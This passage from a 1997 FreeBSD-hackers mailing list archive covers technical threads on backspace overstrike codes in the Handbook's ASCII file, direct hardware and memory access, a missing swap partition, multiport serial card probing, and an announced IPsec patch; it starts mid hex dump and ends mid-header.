000002b0 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 69 73 0a |his document is.| 000002c0 20 20 20 20 20 61 6c 77 61 79 73 20 61 76 61 69 | always avai| 000002d0 6c 61 62 6c 65 20 66 72 6f 6d 20 74 68 65 20 46 |lable from the F| 000002e0 72 65 65 42 53 44 20 57 6f 72 6c 64 20 57 69 64 |reeBSD World Wid| 000002f0 65 20 57 65 62 20 73 65 72 76 65 72 31 20 2e 20 |e Web server1 . | 00000300 20 49 74 20 6d 61 79 0a 20 20 20 20 20 61 6c 73 | It may. als| 00000310 6f 20 62 65 20 64 6f 77 6e 6c 6f 61 64 65 64 20 |o be downloaded | 00000320 69 6e 20 70 6c 61 69 6e 20 74 65 78 74 2c 20 70 |in plain text, p| 00000330 6f 73 74 73 63 72 69 70 74 20 6f 72 20 48 54 4d |ostscript or HTM| 00000340 4c 20 66 72 6f 6d 20 74 68 65 20 46 72 65 65 42 |L from the FreeB| 00000350 53 44 0a 20 20 20 20 20 46 54 50 20 73 65 72 76 |SD. FTP serv| 00000360 65 72 32 20 20 6f 72 20 6f 6e 65 20 6f 66 20 74 |er2 or one of t| 00000370 68 65 20 6e 75 6d 65 72 6f 75 73 20 5f 08 6d 5f |he numerous _.m_| 00000380 08 69 5f 08 72 5f 08 72 5f 08 6f 5f 08 72 20 5f |.i_.r_.r_.o_.r _| ^^ ^^ ^^ ^^ ^^ ^H ^H ^H ^H ^H 00000390 08 73 5f 08 69 5f 08 74 5f 08 65 5f 08 73 20 28 |.s_.i_.t_.e_.s (| 000003a0 73 65 63 74 69 6f 6e 20 32 33 2e 32 2c 20 70 61 |section 23.2, pa| 000003b0 67 65 0a 20 20 20 20 20 33 39 31 29 2e 20 20 59 |ge. 391). Y| 000003c0 6f 75 20 6d 61 79 20 61 6c 73 6f 20 77 61 6e 74 |ou may also want| 000003d0 20 74 6f 20 53 65 61 72 63 68 20 74 68 65 20 48 | to Search the H| 000003e0 61 6e 64 62 6f 6f 6b 33 20 2e 0a 0a 0a 0a 0a 0a |andbook3 .......| 000003f0 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a |...............| 000003ff Here is the same text after being put through "sed -e 's/.^V^H//g'": 00000000 0a 0a 0a 0a 0a 0a 0a 0a 0a 09 09 09 20 20 20 20 |............ | 00000010 20 20 20 46 72 65 65 42 53 44 20 48 61 6e 64 62 | FreeBSD Handb| 00000020 6f 6f 6b 0a 0a 09 09 20 20 20 20 20 20 20 54 68 |ook.... Th| 00000030 65 20 46 72 65 65 42 53 44 20 44 6f 63 75 6d 65 |e FreeBSD Docume| 00000040 6e 74 61 74 69 6f 6e 20 50 72 6f 6a 65 63 74 0a |ntation Project.| 00000050 0a 09 09 09 09 20 20 20 4d 61 79 20 31 39 39 37 |..... May 1997| 00000060 0a 0a 0a 0a 09 09 09 09 20 20 20 41 62 73 74 72 |........ Abstr| 00000070 61 63 74 0a 0a 20 20 20 20 20 57 65 6c 63 6f 6d |act.. Welcom| 00000080 65 20 74 6f 20 46 72 65 65 42 53 44 21 20 20 54 |e to FreeBSD! T| 00000090 68 69 73 20 68 61 6e 64 62 6f 6f 6b 20 63 6f 76 |his handbook cov| 000000a0 65 72 73 20 74 68 65 20 69 6e 73 74 61 6c 6c 61 |ers the installa| 000000b0 74 69 6f 6e 20 61 6e 64 20 64 61 79 20 74 6f 0a |tion and day to.| 000000c0 20 20 20 20 20 64 61 79 20 75 73 65 20 6f 66 20 | day use of | 000000d0 46 72 65 65 42 53 44 20 52 65 6c 65 61 73 65 20 |FreeBSD Release | 000000e0 32 2e 32 2e 32 2e 20 54 68 69 73 20 6d 61 6e 75 |2.2.2. This manu| 000000f0 61 6c 20 69 73 20 61 20 77 6f 72 6b 20 69 6e 20 |al is a work in | 00000100 70 72 6f 67 72 65 73 73 0a 20 20 20 20 20 61 6e |progress. an| 00000110 64 20 69 73 20 74 68 65 20 77 6f 72 6b 20 6f 66 |d is the work of| 00000120 20 6d 61 6e 79 20 69 6e 64 69 76 69 64 75 61 6c | many individual| 00000130 73 2e 20 20 4d 61 6e 79 20 73 65 63 74 69 6f 6e |s. Many section| 00000140 73 20 64 6f 20 6e 6f 74 20 79 65 74 20 65 78 69 |s do not yet exi| 00000150 73 74 0a 20 20 20 20 20 61 6e 64 20 73 6f 6d 65 |st. and some| 00000160 20 6f 66 20 74 68 6f 73 65 20 74 68 61 74 20 64 | of those that d| 00000170 6f 20 65 78 69 73 74 20 6e 65 65 64 20 74 6f 20 |o exist need to | 00000180 62 65 20 75 70 64 61 74 65 64 2e 20 20 49 66 20 |be updated. If | 00000190 79 6f 75 20 61 72 65 0a 20 20 20 20 20 69 6e 74 |you are. int| 000001a0 65 72 65 73 74 65 64 20 69 6e 20 68 65 6c 70 69 |erested in helpi| 000001b0 6e 67 20 77 69 74 68 20 74 68 69 73 20 70 72 6f |ng with this pro| 000001c0 6a 65 63 74 2c 20 73 65 6e 64 20 65 6d 61 69 6c |ject, send email| 000001d0 20 74 6f 20 74 68 65 20 46 72 65 65 42 53 44 0a | to the FreeBSD.| 000001e0 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 61 74 69 | documentati| 000001f0 6f 6e 20 70 72 6f 6a 65 63 74 20 6d 61 69 6c 69 |on project maili| 00000200 6e 67 20 6c 69 73 74 0a 20 20 20 20 20 20 20 3c |ng list. <| 00000210 66 72 65 65 62 73 64 2d 64 6f 63 40 46 72 65 65 |freebsd-doc@Free| 00000220 42 53 44 2e 4f 52 47 3e 20 54 68 65 20 6c 61 74 |BSD.ORG> The lat| 00000230 65 73 74 20 76 65 72 73 69 6f 6e 20 6f 66 20 74 |est version of t| 00000240 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 69 73 0a |his document is.| 00000250 20 20 20 20 20 61 6c 77 61 79 73 20 61 76 61 69 | always avai| 00000260 6c 61 62 6c 65 20 66 72 6f 6d 20 74 68 65 20 46 |lable from the F| 00000270 72 65 65 42 53 44 20 57 6f 72 6c 64 20 57 69 64 |reeBSD World Wid| 00000280 65 20 57 65 62 20 73 65 72 76 65 72 31 20 2e 20 |e Web server1 . | 00000290 20 49 74 20 6d 61 79 0a 20 20 20 20 20 61 6c 73 | It may. als| 000002a0 6f 20 62 65 20 64 6f 77 6e 6c 6f 61 64 65 64 20 |o be downloaded | 000002b0 69 6e 20 70 6c 61 69 6e 20 74 65 78 74 2c 20 70 |in plain text, p| 000002c0 6f 73 74 73 63 72 69 70 74 20 6f 72 20 48 54 4d |ostscript or HTM| 000002d0 4c 20 66 72 6f 6d 20 74 68 65 20 46 72 65 65 42 |L from the FreeB| 000002e0 53 44 0a 20 20 20 20 20 46 54 50 20 73 65 72 76 |SD. FTP serv| 000002f0 65 72 32 20 20 6f 72 20 6f 6e 65 20 6f 66 20 74 |er2 or one of t| 00000300 68 65 20 6e 75 6d 65 72 6f 75 73 20 6d 69 72 72 |he numerous mirr| 00000310 6f 72 20 73 69 74 65 73 20 28 73 65 63 74 69 6f |or sites (sectio| 00000320 6e 20 32 33 2e 32 2c 20 70 61 67 65 0a 20 20 20 |n 23.2, page. | 00000330 20 20 33 39 31 29 2e 20 20 59 6f 75 20 6d 61 79 | 391). You may| 00000340 20 61 6c 73 6f 20 77 61 6e 74 20 74 6f 20 53 65 | also want to Se| 00000350 61 72 63 68 20 74 68 65 20 48 61 6e 64 62 6f 6f |arch the Handboo| 00000360 6b 33 20 2e 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a |k3 .............| 00000370 0a 0a 0a 0a 0a 0a 0a 0a 0a |.........| 00000379 Still not convinced? Sorry. I don't mean to have the 'snotty tone', and I just realized that it's there. But, you've got to remember that the unix system utilities are written to be used on the old-fashioned 'teletype' printers. That's why the output is the way it is. The fact that modern day systems are attached to things like high-speed modems and laser-jet printers just hasn't come home to unix yet, unless you have something like 'ghostscript' to run pinch-hitter for you. If you'd like me to, I'll be more than happy to run a conversion on the handbook and post it at ftp://ftp.spiritone.com/pub/users/joes/handbook.zip (a dos zip file) for you. In fact, it's already there. joe From owner-freebsd-hackers Sun Jun 22 23:55:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA17189 for hackers-outgoing; Sun, 22 Jun 1997 23:55:25 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id XAA17178 for ; Sun, 22 Jun 1997 23:55:16 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA01933; Mon, 23 Jun 1997 08:54:20 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id IAA26067; Mon, 23 Jun 1997 08:35:58 +0200 (MET DST) Message-ID: <19970623083558.FD45105@uriah.heep.sax.de> Date: Mon, 23 Jun 1997 08:35:58 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@freebsd.org (FreeBSD hackers) Cc: un_x@anchorage.net (Steve Howe) Subject: Re: direct access References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Chuck Robey on Jun 22, 1997 21:10:45 -0400 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Chuck Robey wrote: > It really sounds like you ought to go purchase either a beginners Unix > book, or maybe an operating systems textbook, depending on where your > interests lie. Also, Steve should look into the ports collection. bpatch for example can hex-edit arbitrary files including entire devices (the other available hex editors usually can't since they suck the entire device into memory first). For meaningful hex-editing of raw memory, read the handbook section about kernel debugging. Simple port IO is now also possible in DDB, albeit the entire collection of IO instructions should probably be available in a non-inlined fashion there. Of course, Steven, with your proven knowledge level, i would be more than careful in manipulating any bits in either memory or on a device (unless perhaps a DOS floppy). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Jun 22 23:56:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA17273 for hackers-outgoing; Sun, 22 Jun 1997 23:56:15 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id XAA17266 for ; Sun, 22 Jun 1997 23:56:12 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA01960; Mon, 23 Jun 1997 08:56:10 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id IAA26112; Mon, 23 Jun 1997 08:46:48 +0200 (MET DST) Message-ID: <19970623084648.AA27431@uriah.heep.sax.de> Date: Mon, 23 Jun 1997 08:46:48 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: karpen@ocean.campus.luth.se (Mikael Karpberg) Subject: Re: Swap problems References: <199706230114.DAA00272@ocean.campus.luth.se> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199706230114.DAA00272@ocean.campus.luth.se>; from Mikael Karpberg on Jun 23, 1997 03:14:36 +0200 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Mikael Karpberg wrote: > ocean# swapon -a > swapon: /dev/wd0b: Device not configured > ocean# dir /dev/*wd0b* No, you don't need to show us the directory output. ``Device not configured'' (ENXIO) means ``The driver is not willing to recognize partition `b' of drive `wd0' as something valid.'' If /dev/wd0b were missing, it would be ``No such file or directory'' (ENOENT). Look at the disklabel. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Jun 23 00:25:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA18704 for hackers-outgoing; Mon, 23 Jun 1997 00:25:43 -0700 (PDT) Received: from andrsn.stanford.edu (root@andrsn.Stanford.EDU [36.33.0.163]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA18699 for ; Mon, 23 Jun 1997 00:25:42 -0700 (PDT) Received: from localhost (andrsn@localhost.Stanford.EDU [127.0.0.1]) by andrsn.stanford.edu (8.8.5/8.6.12) with SMTP id AAA19460; Mon, 23 Jun 1997 00:25:38 -0700 (PDT) Date: Mon, 23 Jun 1997 00:25:38 -0700 (PDT) From: Annelise Anderson Reply-To: Annelise Anderson To: Joseph Stein cc: chuckr@glue.umd.edu, freebsd-hackers@freebsd.org Subject: Re: Handbook - ascii form?? In-Reply-To: <199706230649.XAA01232@joes.users.spiritone.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 22 Jun 1997, Joseph Stein wrote: > > There aren't any ^H characters in the file, as far as I can tell. > > A hex dump shows all the duplicate letters. > > > > Have you tried downloading handbook.ascii and applying these suggestions? > > >From the web/ftp site, which is where people interested in installing > > FreeBSD get it? > > Yes, I've tried. And it works: > > Here is the output of 'hd' (HexDump) on the first fifty lines of handbook.ascii > that is linked to from http://www.freebsd.org/doc/handbook by way of > ftp://ftp.freebsd.org/FreeBSD/docs/handbook/handbook.ascii: > > > 00000000 0a 0a 0a 0a 0a 0a 0a 0a 0a 09 09 09 20 20 20 20 |............ | > 00000010 20 20 20 46 08 46 72 08 72 65 08 65 65 08 65 42 | F.Fr.re.ee.eB| > ^^ ^^ ^^ > ^H ^H ^H > 00000380 08 69 5f 08 72 5f 08 72 5f 08 6f 5f 08 72 20 5f |.i_.r_.r_.o_.r _| > ^^ ^^ ^^ ^^ ^^ > ^H ^H ^H ^H ^H > > Still not convinced? Here are the first few lines from my hex dump..... 00000000 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 20 20 20 20 20 20 |.......... | 00000010 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | | 00000020 20 20 20 20 20 20 20 20 20 46 46 72 72 65 65 65 | FFrreee| 00000030 65 42 42 53 53 44 44 20 48 48 61 61 6e 6e 64 64 |eBBSSDD HHaanndd| 00000040 62 62 6f 6f 6f 6f 6b 6b 0a 0a 20 20 20 20 20 20 |bbooookk.. | and the mirror sites passage.... 00000390 20 6f 66 20 74 68 65 20 6e 75 6d 65 72 6f 75 73 | of the numerous| 000003a0 20 5f 6d 5f 69 5f 72 5f 72 5f 6f 5f 72 20 5f 73 | _m_i_r_r_o_r _s| 000003b0 5f 69 5f 74 5f 65 5f 73 20 28 73 65 63 74 69 6f |_i_t_e_s (sectio| The problem is that yours was downloaded as a binary file, and mine wasn't. > Sorry. I don't mean to have the 'snotty tone', and I just realized that it's > there. But, you've got to remember that the unix system utilities are > written to be used on the old-fashioned 'teletype' printers. That's why > the output is the way it is. The binary file would be, no doubt, okay for printing; not good for viewing on the screen (from dos/Windows, which is the market we're talking about here). > The fact that modern day systems are attached to things like high-speed > modems and laser-jet printers just hasn't come home to unix yet, unless you > have something like 'ghostscript' to run pinch-hitter for you. > > If you'd like me to, I'll be more than happy to run a conversion on the > handbook and post it at ftp://ftp.spiritone.com/pub/users/joes/handbook.zip > (a dos zip file) for you. In fact, it's already there. I think this is exactly what many users would like--for reading/searching on the screen. My version was created by converting the postscript version to ascii and running fmt on it. This is also useful since the length of the lines can be made suitable for printing using the HP Laserjet's lineprinter font. But for hard copy I actually prefer printing html from Netscape, using the chapter-by-chapter versions John Fieber has posted. And I do have apsfilter, so I can always print the postscript version. The fact remains that whether it's downloaded in binary or ascii, there is no plain text version of the handbook available....except on your server! Annelise From owner-freebsd-hackers Mon Jun 23 01:05:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA20483 for hackers-outgoing; Mon, 23 Jun 1997 01:05:16 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA20441; Mon, 23 Jun 1997 01:05:01 -0700 (PDT) Received: from awfulhak.demon.co.uk (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id JAA09485; Mon, 23 Jun 1997 09:03:38 +0100 (BST) Message-Id: <199706230803.JAA09485@awfulhak.demon.co.uk> X-Mailer: exmh version 1.6.9 8/22/96 To: Annelise Anderson cc: Chuck Robey , Brian Somers , "Jordan K. Hubbard" , kleon@bellsouth.net, freebsd-hackers@freebsd.org, freebsd-doc@freebsd.org, freebsd-questions@freebsd.org Subject: Re: Handbook - ascii form?? In-reply-to: Your message of "Sun, 22 Jun 1997 23:09:06 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 23 Jun 1997 09:03:38 +0100 From: Brian Somers Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk [cc'd also to -questions & -doc] > On Mon, 23 Jun 1997, Chuck Robey wrote: > > > OK, there's one problem with that. I think that the ftp server is letting > > folks download handbook.ascii as ascii text, which is eating the backspace > > keys. Gotta download this as binary! > > That's right, if it's downloaded as a binary file it retains the ^H etc. > formatting codes; otherwise it doesn't. Which brings us back to the question. Why does .ascii have non-ascii characters. A diff between .latin1 and .ascii says that only the '-' at the end of lines is missing in the .ascii version :( Surely .latin1 should have the overstrikes and .ascii shouldn't ? Is this a "sgml" bug ? > Annelise > -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Mon Jun 23 01:07:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA20655 for hackers-outgoing; Mon, 23 Jun 1997 01:07:09 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id BAA20646 for ; Mon, 23 Jun 1997 01:07:02 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id KAA02764 for hackers@FreeBSD.ORG; Mon, 23 Jun 1997 10:06:56 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id JAA26795; Mon, 23 Jun 1997 09:43:55 +0200 (MET DST) Message-ID: <19970623094355.VJ01907@uriah.heep.sax.de> Date: Mon, 23 Jun 1997 09:43:55 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: use of readline() References: <199706230235.MAA14365@genesis.atrad.adelaide.edu.au> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199706230235.MAA14365@genesis.atrad.adelaide.edu.au>; from Michael Smith on Jun 23, 1997 12:05:40 +0930 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Michael Smith wrote: > Seeing as we have readline() in the tree, would anyone explode violently > if it were used generally for reading user input in the case of programs > like lpc(8), cdcontrol(1), etc? ftp(1)! -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Jun 23 01:09:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA20817 for hackers-outgoing; Mon, 23 Jun 1997 01:09:36 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA20810 for ; Mon, 23 Jun 1997 01:09:34 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id KAA00988; Mon, 23 Jun 1997 10:08:02 +0200 (CEST) From: Mikael Karpberg Message-Id: <199706230808.KAA00988@ocean.campus.luth.se> Subject: Re: Swap problems In-Reply-To: <4751.867031189@time.cdrom.com> from "Jordan K. Hubbard" at "Jun 22, 97 06:59:49 pm" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 23 Jun 1997 10:08:01 +0200 (CEST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Jordan K. Hubbard: > > First of all a small note: The installation program tried to install > > XFree86 3.3, which where NOWHERE to be found > > even close to something called 2.2. > > Already fixed at current.freebsd.org/releng22.freebsd.org, thanks. > > > Now... My problem is that my computer wont swap. > > Why is this not working? > > Does your disklabel say that b is of type swap also? I'm not > sure how rigidly enforced that is, but it is so marked on my > machine. [...] 8 partitions: # size offset fstype [fsize bsize bps/cpg] a: 102400 0 4.2BSD 0 0 0 # (Cyl. 0 - 25*) c: 4124673 0 unused 0 0 # (Cyl. 0 - 1022*) e: 143360 102400 4.2BSD 0 0 0 # (Cyl. 25*- 60*) f: 3878913 245760 4.2BSD 0 0 0 # (Cyl. 60*- 1022*) Nope. Apperently that's my problem. I never had any problems with this before, and I was sure I had added a 96 MB swap. Apperently I managed to delete it, or something, because I just tried to create a swap and sysinstall told me the disk was full. :-( Seems like I will have to reinstall the whole thing again. *sniff* The good news is that I will get XFree86 3.3 then. :-) Anyway... thanx for your help, everyone. Off to reinstall... *sigh* /Mikael From owner-freebsd-hackers Mon Jun 23 01:22:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA21395 for hackers-outgoing; Mon, 23 Jun 1997 01:22:00 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id BAA21362 for ; Mon, 23 Jun 1997 01:21:44 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id KAA02920; Mon, 23 Jun 1997 10:21:18 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id KAA26873; Mon, 23 Jun 1997 10:01:42 +0200 (MET DST) Message-ID: <19970623100142.PK61527@uriah.heep.sax.de> Date: Mon, 23 Jun 1997 10:01:42 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG (freebsd-hackers) Cc: un_x@anchorage.net (Steve Howe) Subject: Re: direct access References: <199706230209.LAA14132@genesis.atrad.adelaide.edu.au> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Steve Howe on Jun 22, 1997 21:12:17 -0800 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Steve Howe wrote: > is there specific documentation (other than source) about it? > what's /dev/io all about? RTFM... Did you ever try ``man io'', to the least? Apparently not. > for example, i need char i/o to the vga screen. No, you don't need it. You _think_ you need it. This makes your application totally unportable, and people will really hate you for this crap then. (You will even hate yourself two years later, believe me.) This kind of programming is done in Unix using curses. Well, the name's a symbol, you'll learn to curse, but at least, it's halfways portable back to a CP/M machine connected via Kermit emulating an ADM3a or VT52 terminal. If your terminal supports colors, you can also get colors. You read the character back from a backup buffer curses maintains inside the program's address space. > > > unsigned char * p = (unsigned char *)0x000b8000; > > > You cannot directly access the physical address 0x000b8000. > > is that an absolute? no peek-ing or poke-ing ... at all? It is absolute. You're going into kernel debugging otherwise. There's some documentation about kernel debugging in the handbook, but with your current level of expertise, i would strongly recommend you staying away from this, until you've got at least a basic idea of how things are working. In a VM architectur, it's not sufficient to have a physical address, since you can only access virtual addresses (even inside the kernel address space), thus you always need a mapping. The kernel provides for mappings in the ``ISA IO memory hole'', but for anything else, you're responsible yourself. > as far as ram goes, i like to watch whats going on > in physical ram to learn about systems. Impossible. On a typical 16 MB system, there are 4096 different physical pages of memory, which can be arbitrarily mapped into the virtual address spaces. So, your address 0x0000 of your program might be unmapped, address 0x1000 is mapped to physical address 0x133000, address 0x2000 is mapped to 0x57000, and so on. What would it give you to display physical memory? Nothing, i'd say. > as far as drives go, file recovery - searching for deleted HD data, > which i desperatley need, Impossible. That's not DOS, our filesystems aren't so simple as a lame FAT file system. Your data blocks that once belonged to a file might be scattered throughout the entire partition, and once you've lost the block pointers, you stand no chance to reassemble them into one file (at least, not realistically). > as far as ports go, the code i'd like to port, detects and > debugs certain devices. Leave this to kernel code. Write LKMs with device drivers. Still, you should really read some basic Unix literature. This will soon make it obvious to you that all your questions were no-brainers from the beginning. Sorry for sounding harsh. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Jun 23 01:22:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA21436 for hackers-outgoing; Mon, 23 Jun 1997 01:22:16 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA21427 for ; Mon, 23 Jun 1997 01:22:11 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id SAA00991; Mon, 23 Jun 1997 18:18:18 +1000 Date: Mon, 23 Jun 1997 18:18:18 +1000 From: Bruce Evans Message-Id: <199706230818.SAA00991@godzilla.zeta.org.au> To: danny@panda.hilink.com.au, gurney_j@resnet.uoregon.edu Subject: Re: TC-800 hi speed 8-port serial card Cc: freebsd-hackers@FreeBSD.ORG, sdudley@byterunner.com Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> The ByteRunner web site has a link to the serial ports section of the >> FreeBSD handbook (2.1.0 version!!!) rather than explicit instructions for >> installing with FreeBSD. I already have AST/4 clones running happily on >> my system. I configured a kernel with COM_MULTIPORT and 8 ports tied >> together as for the AST/4. I added the "verbose" bit to the flags. None >> of the sio devices was recognised, and the probe failed at "test 3", >> which looks like the IRQ test in sio.c. > >there is a bit that tells FreeBSD to ignore the results of test3... Only in -current. You don't want to ignore it for testing new hardware. >> page does not seem to handle this other than by saying "only AST/4 >> control registers are handled." > >actually.. AST/4 irq status registers aren't even supported yet... I'm >about finished with support 'em... This is why it says "only _control_ registers are supported" :-). Bruce From owner-freebsd-hackers Mon Jun 23 01:32:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA21839 for hackers-outgoing; Mon, 23 Jun 1997 01:32:36 -0700 (PDT) Received: from itojun.csl.sony.co.jp (root@itojun.csl.sony.co.jp [133.138.1.134]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA21821; Mon, 23 Jun 1997 01:32:26 -0700 (PDT) From: itojun@itojun.org Received: from localhost (itojun@localhost [127.0.0.1]) by itojun.csl.sony.co.jp (8.8.5/3.3W3) with ESMTP id RAA12199; Mon, 23 Jun 1997 17:30:58 +0900 (JST) To: freebsd-hackers@freebsd.org, freebsd-security@freebsd.org Subject: ipsec code made in Japan X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 X-Mailer: comp (MHng project) version 1997/04/30 02:23:09, by Jun-ichiro Itoh MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-ID: Date: Mon, 23 Jun 1997 17:30:58 +0900 Message-ID: <12196.867054658@itojun.csl.sony.co.jp> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I've made a IPv4 IPsec patch to 2.2.1-RELEASE, in: ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/ (should be easily applied to 222-RELEASE too) Please read the following document with care BEFORE downloading it. ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/README Cryptographic code is implemented outside of US, so there would be no export control problem for most people. (except for countries where import of crypto code is illegal, or use of crypto code is illegal) It is still in infancy, and will be updated regularly. Please visit the above directory regulary, if you would like to do a beta-test. Currently, there's no dynamic key management daemon available. (I plan to port Pluto implementation) If you would like to find WAN testing partner, email me. There are several people running this kernel, so let us manuall setup keys manually. Question: How should I release this kind of code in the future? What is the best way for us all? Apparently I can't try to merge it into FreeBSD source tree in ftp.freebsd.org. Jun-ichiro itojun Itoh itojun@itojun.org From owner-freebsd-hackers Mon Jun 23 02:10:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA23559 for hackers-outgoing; Mon, 23 Jun 1997 02:10:13 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA23510; Mon, 23 Jun 1997 02:09:46 -0700 (PDT) Received: from localhost (narvi@localhost) by haldjas.folklore.ee (8.8.4/8.8.4) with SMTP id MAA18619; 